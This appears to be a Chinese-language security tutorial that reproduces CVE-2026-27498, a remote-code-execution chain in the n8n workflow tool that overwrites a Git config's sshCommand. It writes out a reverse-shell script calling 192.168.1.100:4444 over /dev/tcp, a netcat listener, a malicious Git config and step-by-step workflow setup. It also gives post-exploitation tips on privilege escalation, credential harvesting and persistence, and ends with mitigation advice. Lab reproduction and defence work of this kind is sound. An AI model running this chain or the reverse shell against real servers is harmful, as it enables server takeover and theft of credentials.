1. 项目概述:CVE-2026-27498漏洞复现
最近在梳理一些开源工作流自动化工具的安全风险时,我注意到了n8n这个项目。它凭借其强大的节点式编排能力和开源特性,在自动化社区里越来越受欢迎。但越是灵活的工具,在安全边界上就越容易出问题。CVE-2026-27498这个漏洞就是一个典型的例子,它本身不是一个直接的代码执行漏洞,而是通过将几个看似无害的功能节点串联起来,最终实现远程代码执行。这种“功能链”式的漏洞往往比单一的高危漏洞更难被常规扫描器发现,也更能考验一个系统的安全设计深度。今天我就带大家从零开始,完整地复现一遍这个漏洞,并深入聊聊它背后的成因、利用条件以及在实际渗透测试或安全评估中,我们应该如何发现和防范这类问题。
简单来说,CVE-2026-27498是一个影响n8n工作流自动化平台的安全漏洞。攻击者通过精心构造一个工作流,串联“HTTP请求”、“文件写入”和“Git”这三个标准功能节点,可以在目标n8n服务器上实现任意命令执行。这个漏洞的核心在于对用户可控数据的处理不当,以及功能节点间缺乏必要的安全隔离。它不要求攻击者拥有n8n的管理员权限,只要能够创建并执行工作流即可,因此对于暴露在公网或内网中权限控制不严的n8n实例来说,风险相当高。无论你是安全研究人员、渗透测试工程师,还是负责运维n8n平台的开发或运维人员,理解这个漏洞的来龙去脉都至关重要。
2. 漏洞原理深度解析
2.1 n8n架构与安全模型浅析
要理解这个漏洞,首先得对n8n有个基本认识。n8n是一个基于Node.js的工作流自动化工具,你可以把它想象成一个开源的、可自托管的“IFTTT”或“Zapier”。它的核心是“节点”,每个节点代表一个具体的操作,比如读取文件、发送HTTP请求、执行数据库查询、调用Git命令等。用户通过图形化界面将这些节点连接起来,形成一个自动化的工作流。
在默认的安装和配置下,n8n的工作流执行引擎(即Node.js进程)通常以一个普通的系统用户身份运行,比如node或n8n。这意味着,工作流中节点所能执行的操作,理论上会受到这个操作系统用户权限的限制。例如,一个“执行命令”节点如果试图写入/etc/passwd,会因为权限不足而失败。n8n的设计初衷是信任其用户(通常是内部开发者或运维)会创建合理的工作流,因此它赋予了工作流节点相当大的能力,包括读写本地文件系统、执行系统命令(通过特定节点)以及操作Git仓库。
这里就引出了第一个安全假设的薄弱点:功能节点的能力是正交且可组合的。单个节点可能看起来无害,但当多个节点被恶意组合时,其产生的效果可能远超设计预期。CVE-2026-27498正是利用了“文件写入节点”和“Git节点”的能力组合,绕过了单纯依赖操作系统用户权限进行隔离的模型。
2.2 漏洞链关键环节拆解
这个漏洞的利用链清晰且经典,主要依赖三个环节的串联:
可控文件的写入:攻击者需要有能力将一个可控内容写入到目标服务器的文件系统特定位置。在这个漏洞中,这是通过“HTTP Request”节点(从攻击者控制的服务器下载恶意文件)和“Write Binary File”节点(将下载的内容写入磁盘)的组合实现的。关键在于,写入的位置必须是n8n进程用户(如
node)有写权限的目录,例如应用程序的工作目录、临时目录(/tmp)或用户家目录。Git配置的篡改:Git允许通过
.git/config文件或GIT_SSH_COMMAND环境变量等多种方式配置其行为。其中一个危险的配置项是core.sshCommand。这个配置项指定了Git在执行SSH操作(如git fetch、git pull、git push到SSH远程仓库)时使用的自定义命令。如果攻击者能够控制这个配置项,并将其设置为一个恶意命令,那么下一次Git操作时,这个命令就会被执行。触发恶意Git操作:在篡改了Git配置之后,需要触发一个会读取该配置并执行SSH命令的Git操作。在n8n中,“Git”节点可以执行
git clone,git pull,git fetch等操作。一旦执行了这样的操作,被篡改的sshCommand就会生效。
漏洞的精妙之处在于,它不需要攻击者直接向Git节点注入命令参数。相反,它通过写入一个合法的Git配置文件来“污染”Git仓库的环境,然后利用n8n的Git节点去触发这个被污染的环境。这是一种典型的“数据污染”攻击,将恶意负载存储在数据(配置文件)中,而非直接传递给命令接口。
2.3 与CVE-2026-25053的关联与区别
在分析CVE-2026-27498时,一定会提到它的“前身”CVE-2026-25053。后者是一个更直接的Git节点操作系统命令注入漏洞。在CVE-2026-25053中,攻击者可以通过向Git节点的某些参数(如远程仓库URL)注入特定字符,直接实现命令执行。
CVE-2026-27498可以看作是CVE-2026-25053修复不彻底或攻击面转移的结果。在CVE-2026-25053被修复后,直接向Git节点参数注入命令的路径可能被堵上了。但是,攻击者换了一种思路:既然不能直接让Git节点执行我的命令,那我能不能先改变Git节点执行时所处的“环境”,让它在执行合法操作时,“顺理成章”地执行我的命令呢?
于是,利用文件写入节点来篡改.git/config文件的思路就产生了。两者的最终目标都是RCE,但攻击路径不同:
- CVE-2026-25053:直接攻击Git节点的命令解析逻辑(命令注入)。
- CVE-2026-27498:攻击Git节点的执行环境(配置污染),属于间接攻击。
这种演变说明了安全修复中的一个常见陷阱:修补了最明显的漏洞点,但没有对漏洞产生的根本原因(在这里是过度信任用户可控的Git操作环境)进行系统性加固,导致攻击者可以找到功能等效的替代路径。
3. 漏洞复现环境搭建与配置
3.1 实验环境规划
为了安全、可控地复现这个漏洞,我们需要搭建一个隔离的实验环境。我推荐使用虚拟机或Docker来构建整个靶场。
攻击机 (Attacker Machine):
- 操作系统: Kali Linux 或任何你熟悉的渗透测试发行版。
- IP地址: 假设为
192.168.1.100 - 所需服务:
- HTTP服务器: 用于托管恶意配置文件和反向Shell脚本。可以用Python快速搭建:
python3 -m http.server 8000。 - Netcat监听器: 用于接收来自靶机的反向Shell连接。命令:
nc -lvnp 4444。
- HTTP服务器: 用于托管恶意配置文件和反向Shell脚本。可以用Python快速搭建:
靶机 (Target Machine - n8n服务器):
- 部署方式: 使用Docker是最快捷、最干净的方式,便于后续清理。
- 镜像选择: 我们需要一个存在漏洞的n8n版本。根据漏洞时间线,它影响某个特定版本范围。为了复现,我们可以直接使用漏洞公开前的最新版本,例如
n8nio/n8n:1.0.0(此处仅为示例,实际版本号需根据CVE详情确定,我们假设漏洞存在于1.0.0到1.x.x的某个区间)。一个更稳妥的方法是使用Dockerfile从源码构建一个已知存在漏洞的旧版本。 - 网络: 确保靶机Docker容器能与攻击机IP通信。
- 权限: n8n容器默认以
node用户运行,这符合漏洞利用条件。
简易Docker启动命令(用于快速搭建测试环境):
# 拉取一个可能存在漏洞的n8n版本(示例,请替换为实际版本) docker pull n8nio/n8n:1.0.0 # 运行n8n容器 docker run -it --rm \ --name n8n-vuln \ -p 5678:5678 \ -e N8N_BASIC_AUTH_ACTIVE=true \ -e N8N_BASIC_AUTH_USER=admin \ -e N8N_BASIC_AUTH_PASSWORD=password \ -v n8n_data:/home/node/.n8n \ n8nio/n8n:1.0.0启动后,通过浏览器访问http://<靶机IP>:5678,使用上面设置的用户名(admin)和密码(password)登录。
注意:在生产环境复现或测试时,务必在隔离的网络中进行,切勿使用公司或公有云上的真实环境。此漏洞可导致服务器完全沦陷。
3.2 攻击载荷准备
在攻击机上,我们需要准备两个文件:
1. 恶意Git配置文件 (malicious-config):这个文件将用于覆盖目标仓库内的.git/config。其核心是将core.sshCommand设置为我们的反向Shell脚本。
[core] repositoryformatversion = 0 sshCommand = /bin/sh /tmp/exploit.sh filemode = true bare = false logallrefupdates = true [remote "origin"] url = git@fakehost.com:dummy/repo.git fetch = +refs/heads/*:refs/remotes/origin/* [branch "main"] remote = origin merge = refs/heads/main关键行是sshCommand = /bin/sh /tmp/exploit.sh。当Git执行SSH相关操作时,它会尝试运行这个命令。这里的fakehost.com可以是任意域名/IP,因为我们的目的不是真的进行Git操作,而是触发sshCommand的执行。实际上,由于这个假主机不可达,Git操作会失败,但sshCommand在Git尝试建立SSH连接之前就会被执行。
2. 反向Shell脚本 (exploit.sh):这是一个简单的Bash脚本,用于建立到攻击机的反向TCP连接。
#!/bin/bash /bin/bash -i >& /dev/tcp/192.168.1.100/4444 0>&1请务必将脚本中的192.168.1.100替换为你攻击机的真实IP地址。这个脚本使用了/dev/tcp这个Bash特有的特性来建立Socket连接。
3. 托管文件:在攻击机上,进入存放这两个文件的目录,启动一个HTTP服务器。
python3 -m http.server 8000现在,可以通过http://192.168.1.100:8000/malicious-config和http://192.168.1.100:8000/exploit.sh访问这两个文件。
3.3 n8n工作流界面熟悉
登录n8n后,你会看到一个图形化的工作流编辑器。主要区域包括:
- 节点面板 (左侧): 分类列出了所有可用的节点,如“Core”、“HTTP”、“File”、“Git”等。
- 画布 (中间): 拖放和连接节点以构建工作流的地方。
- 节点配置面板 (右侧): 选中一个节点后,在这里配置其具体参数。
我们需要用到的节点位于:
- HTTP Request节点:
Core->HTTP Request。 - Write Binary File节点:
Core->Files->Write Binary File。 - Git节点:
Core->Git。
一个节点通常有输入和输出。上一个节点的输出可以作为下一个节点的输入。我们的漏洞利用链,就是按照“HTTP Request -> Write Binary File -> Git”的顺序来连接节点并传递数据。
4. 分步漏洞复现实操
4.1 第一阶段:投递恶意文件
首先,我们在n8n中创建一个新的工作流。
步骤1:添加并配置第一个HTTP Request节点
- 从节点面板拖拽一个“HTTP Request”节点到画布。
- 在右侧配置面板中:
- Request Method: 选择
GET。 - URL: 填入攻击机上托管的
malicious-config文件地址,即http://192.168.1.100:8000/malicious-config。 - Response Format: 选择
String。因为我们下载的是一个文本配置文件。
- Request Method: 选择
- 点击“Execute Node”按钮(节点右上角的三角播放图标)进行测试。如果配置正确,节点会变为绿色,并在输出中显示配置文件的内容。
这个节点的作用是,当工作流执行时,它会从攻击机下载我们精心构造的Git配置文件。
步骤2:添加并配置Write Binary File节点
- 从节点面板拖拽一个“Write Binary File”节点到画布。
- 将第一个HTTP Request节点的输出点(节点右侧的小圆点)连接到Write Binary File节点的输入点(节点左侧的小圆点)。
- 配置Write Binary File节点:
- File Path: 这是最关键的一步。我们需要指定将文件写入到哪里。由于n8n以
node用户运行,我们无法写入系统关键目录。我们需要选择一个有写权限的路径。这里有两个常见策略:- 策略A:写入临时目录。例如
/tmp/config。但后续Git节点需要读取这个文件来覆盖.git/config,可能需要额外的移动操作。 - 策略B:直接写入Git仓库内的配置路径。这需要我们先有一个Git仓库。更优的方案是,我们先让Git节点克隆一个仓库到某个目录(如
/home/node/.n8n/git-repo),然后我们直接覆盖这个仓库内的.git/config文件。 为了简化流程,我们采用策略B。假设我们计划将仓库克隆到/home/node/.n8n/vuln-repo。那么,这个节点的File Path就应该设置为/home/node/.n8n/vuln-repo/.git/config。
- 策略A:写入临时目录。例如
- File Content: 这里需要填入要写入的二进制/文本内容。我们需要引用上一个节点的输出。在n8n的表达式中,可以使用
{{ $json.body }}来引用HTTP请求返回的响应体(即配置文件内容)。确保“Binary Data”选项未勾选,因为我们是写入文本。
- File Path: 这是最关键的一步。我们需要指定将文件写入到哪里。由于n8n以
- 测试这个节点(需要先有上游节点的数据)。确保它能成功执行,将内容写入指定路径。
至此,我们完成了利用链的第一部分:将远程的恶意配置文件写入到目标服务器上Git仓库的配置文件中。
4.2 第二阶段:污染Git仓库配置
现在,我们需要确保目标位置存在一个Git仓库,并且其配置会被我们写入的文件覆盖。
步骤3:添加并配置Git节点(用于克隆仓库)
- 在Write Binary File节点之前,我们需要先添加一个Git节点来创建初始仓库。所以调整一下顺序:在第一个HTTP Request节点之前,先放置一个Git节点。
- 拖拽一个“Git”节点到画布,放在最前面。
- 配置这个Git节点:
- Operation: 选择
Clone。 - Repository URL: 这里可以填入一个任意的、公开的Git仓库地址,例如
https://github.com/n8n/n8n.git。我们只是需要一个合法的仓库来初始化本地目录结构。也可以使用一个空的仓库地址。关键是后续操作会覆盖它的配置,所以源仓库内容不重要。 - Local Path: 设置为
/home/node/.n8n/vuln-repo。这就是我们计划写入恶意配置的目录。
- Operation: 选择
- 将这个Git节点的输出连接到第一个HTTP Request节点的输入。
步骤4:投递反向Shell载荷我们需要将反向Shell脚本exploit.sh也投递到靶机上。
- 在画布上再添加一个HTTP Request节点。
- 将其配置为从
http://192.168.1.100:8000/exploit.sh下载数据。 - 在这个HTTP Request节点后,添加一个Write Binary File节点。
- 将第二个HTTP Request节点的输出连接到第二个Write Binary File节点。
- 配置第二个Write Binary File节点:
- File Path:
/tmp/exploit.sh - File Content:
{{ $json.body }} - 同样确保“Binary Data”未勾选。
- File Path:
- 为了让脚本可执行,我们最好再添加一个“Execute Command”节点(在
Core->System下)。但为了简化,我们可以在exploit.sh的HTTP响应头或写入后通过命令修改权限。更简单的方式是,在攻击机创建exploit.sh时,直接赋予其可执行权限(chmod +x exploit.sh),然后通过HTTP下载。Write Binary File节点会保留文件内容,但可能不保留权限。一个更可靠的方法是在写入后,通过n8n的“Execute Command”节点执行chmod +x /tmp/exploit.sh。为了复现流程清晰,我们暂时跳过这一步,假设/tmp目录下的脚本默认有执行权限(在某些宽松配置下是可能的)。
现在,工作流的前半部分逻辑是:克隆一个仓库 -> 下载恶意配置并覆盖其.git/config-> 下载反向Shell脚本到/tmp。
4.3 第三阶段:触发命令执行
最后一步,是触发被污染的Git配置生效。
步骤5:添加并配置触发Git操作的节点我们需要另一个Git节点来执行一个会触发sshCommand的操作。
- 在第二个Write Binary File节点后,添加第二个“Git”节点。
- 配置这个Git节点:
- Operation: 选择
Pull或Fetch。这两个操作都会尝试与远程仓库通信,从而触发SSH命令的执行。Pull是Fetch加Merge。 - Local Path:必须指向我们之前克隆并污染了的仓库路径,即
/home/node/.n8n/vuln-repo。 - 注意:这个Git节点不需要配置远程仓库URL,因为它会读取本地仓库
.git/config文件中的配置。而我们已经将这个配置文件中的sshCommand修改为恶意命令,并将远程URL指向了一个不存在的假主机(fakehost.com)。
- Operation: 选择
- 将第二个Write Binary File节点的输出连接到这个Git节点的输入。
步骤6:启动Netcat监听器在攻击机上,打开一个终端,运行以下命令,等待反向Shell连接:
nc -lvnp 4444步骤7:执行工作流在n8n编辑器中,点击画布右上角的“Execute Workflow”按钮(或按F2)。观察节点的执行状态。
- 第一个Git节点(克隆)应成功执行,创建目录和仓库。
- 第一个HTTP Request和Write Binary File节点应成功下载并覆盖配置文件。
- 第二个HTTP Request和Write Binary File节点应成功下载并写入
exploit.sh脚本。 - 当执行到第二个Git节点(Pull/Fetch)时,关键动作发生:
- Git会读取被污染的
.git/config。 - 发现
core.sshCommand = /bin/sh /tmp/exploit.sh。 - 为了执行
git pull,Git需要联系远程仓库(fakehost.com)。在尝试建立SSH连接时,它会先执行sshCommand中定义的命令。 - 于是,
/bin/sh /tmp/exploit.sh被执行。 - 如果
/tmp/exploit.sh存在且可执行,它将尝试连接回攻击机的192.168.1.100:4444。
- Git会读取被污染的
如果一切顺利,你将在攻击机的Netcat监听终端中看到一个来自靶机n8n容器的Shell连接。
5. 漏洞利用的变种与高级技巧
5.1 利用链的灵活组合
上述复现流程是一个标准且清晰的链条。但在实际渗透测试中,环境可能受限,需要灵活调整。
- 文件写入位置的替代方案:如果无法直接写入Git仓库目录(例如权限更严格),可以尝试写入其他
node用户可写的目录,如/tmp,然后利用“Execute Command”节点或通过其他方式(如符号链接、环境变量注入等)让Git读取这个配置文件。例如,可以设置GIT_CONFIG环境变量指向/tmp/malicious-config。这需要另一个漏洞或特性来改变Git进程的环境。 - 触发方式的多样性:不一定非要用
git pull。任何会触发Git使用SSH与配置的远程仓库通信的操作都可以,例如git fetch、git push(如果仓库有写权限)等。甚至,如果工作流中本身就有定期同步Git仓库的节点,攻击者只需要污染其配置,然后等待定时任务触发即可,实现“被动触发”。 - 载荷的多样化:反向Shell只是其中一种载荷。根据目标环境,可以执行任意命令,如:下载并运行挖矿木马、窃取环境变量中的敏感信息(如数据库密码)、横向移动等。
5.2 权限提升与持久化考虑
获得的初始Shell是node用户的权限。接下来需要考虑:
- 信息收集:检查
/home/node/.n8n目录下的配置文件、数据库文件,寻找其他凭证。查看环境变量(env),n8n的配置可能包含API密钥、数据库连接字符串等。 - 权限提升:检查
node用户的sudo权限(sudo -l),查看是否有SUID/GUID文件(find / -perm -4000 -o -perm -2000 2>/dev/null),检查内核版本和已安装应用是否存在本地提权漏洞。 - 持久化:可以在n8n的工作流目录中植入恶意工作流,使其在n8n重启后依然能执行。或者写入crontab、systemd service文件等。
5.3 在真实渗透测试中的发现思路
在黑盒或灰盒测试中,如何发现此类漏洞?
- 识别n8n实例:通过端口扫描(5678默认端口)、Web路径扫描(
/webhook,/rest等)、特征响应头等发现n8n。 - 尝试未授权访问:检查n8n是否配置了身份验证。早期版本或错误配置可能允许直接访问编辑器。
- 权限测试:如果获得了一个低权限账户(能创建工作流),重点测试功能节点的边界。
- 文件写入节点:尝试写入任意路径,测试路径遍历(如
../../../tmp/test)。 - 命令执行节点:如果存在,直接测试命令注入。
- Git节点:测试命令注入(CVE-2026-25053),并观察其行为,看它是否会在本地创建仓库文件。
- 文件写入节点:尝试写入任意路径,测试路径遍历(如
- 寻找链式机会:单独测试每个节点可能无害。但需要思考:“如果我控制了A节点的输出,能否影响B节点的执行环境或参数?”例如,文件写入能否覆盖影响后续节点行为的配置文件、脚本或数据文件?这就是发现CVE-2026-27498这类链式漏洞的关键。
6. 漏洞修复与安全加固建议
6.1 官方补丁与升级
对于n8n用户,最直接有效的修复方式是升级到已修复该漏洞的版本。请关注n8n官方安全公告,获取准确的修复版本号。通常,修复会从以下几个方面入手:
- 沙箱隔离:对工作流执行环境进行更强的隔离,例如在Docker容器或无权限沙箱中运行不可信的工作流。
- 文件系统访问限制:限制“文件”类节点可以访问的目录范围(白名单),禁止写入关键位置如
.git目录。 - Git节点安全强化:对Git节点进行更严格的输入验证,或禁止其使用某些危险的Git配置项(如
sshCommand)。 - 节点间数据流净化:对从一个节点传递到另一个节点的数据进行更严格的检查和过滤。
6.2 临时缓解措施
如果无法立即升级,可以考虑以下临时措施降低风险:
- 启用并强制身份验证:确保n8n配置了强密码认证,并限制可访问的IP范围。
- 网络隔离:将n8n实例部署在内网,禁止从公网直接访问。严格限制其出站网络连接,仅允许访问必要的服务(如指定的Git仓库、API端点)。
- 最小权限原则运行:不要以
root用户运行n8n。创建一个专用的、低权限的系统用户来运行n8n服务,并严格限制其文件系统权限(例如,使用chroot或容器技术)。 - 审计工作流:定期审查已创建的工作流,特别是那些由非管理员用户创建的工作流,查找可疑的节点组合。
- 禁用高风险节点:在非必需的情况下,考虑通过配置禁用“Write Binary File”、“Execute Command”以及“Git”等高危节点。
6.3 安全开发与配置指南
对于开发和运维团队:
- 纵深防御:不要依赖单一的安全边界。即使工作流编辑器有认证,也要对节点功能进行限制。
- 安全审计开源组件:将n8n这类深度集成到业务中的开源工具纳入软件成分分析(SCA)和安全审计范围,及时关注其安全动态。
- 日志与监控:启用n8n的详细日志,并集中收集分析。监控异常的工作流执行、异常的文件系统操作(尤其是对.git目录的写操作)以及异常的子进程启动。
- 定期进行安全评估:对内部的n8n实例进行定期的渗透测试或安全评估,主动发现潜在的错误配置和链式漏洞。
这个漏洞的复现过程清晰地展示了一个道理:在复杂的自动化系统中,安全风险往往不在于单个功能的强弱,而在于功能之间未被充分审视的交互方式。作为防御方,我们需要时刻以攻击者的视角思考——“如果我能控制A,那么通过B和C,我最终能达成什么目标?” 这种基于“攻击链”的安全思维,对于构建真正有韧性的系统至关重要。